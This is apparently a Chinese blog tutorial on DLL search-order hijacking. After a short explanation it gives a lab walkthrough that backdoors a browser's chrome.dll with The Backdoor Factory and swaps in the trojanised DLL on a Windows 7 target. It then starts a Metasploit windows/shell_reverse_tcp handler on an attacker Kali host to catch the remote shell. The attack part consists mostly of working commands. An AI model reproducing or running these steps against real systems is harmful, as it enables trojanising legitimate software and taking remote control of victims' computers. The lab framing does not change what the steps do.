DLL劫持 漏洞复现

共 1279字,需浏览 3分钟

 ·

2020-12-18 10:36


DLL(Dynamic Link Library)文件为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。


如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现"劫持"



例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。


SRC也收这类DLL劫持漏洞的


下面是某浏览器的DLL劫持


攻击机 Kali 192.168.123.182


靶机   Win7 192.168.123.243


需要用到 procexp64(线程分析工具)


以及某浏览器,哈哈哈 表哥们不要认真哈。



先找到某浏览,然后查看那些DLL文件跟浏览器一起启动的




将chrome.dll 复制到 kali 里面


攻击机 Kali 执行

git clone https://github.com/secretsquirrel/the-backdoor-factory #下载T-B-F
pip install capstone #cd到T-B-F目录安装capstone库
./backdoor.py -f /root/tbf/the-backdoor-factory/chrome.dll #在tbf里面找到backdoor.py脚本运行



扫描注入点


./backdoor.py -f /root/tbf/the-backdoor-factory/chrome.dll -s


这里一共扫描出了83个注入点 我们只要随机选择一个注入点就好了

这里选择注入点输入注入点前面的数字回车就可以



选择完后会自动生成一个带shell的dll文件



进入这个文件夹内 反弹shell的dll文件就在这个文件夹内





Chrome.dll文件复制到过去替换原来文件


打开msf


msfconsoleuse multi/handlerset payload windows/shell_reverse_tcpset LPORT 4444set LHOST 192.168.123.182exploit






运行






可以看到成功上线。



浏览 20
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报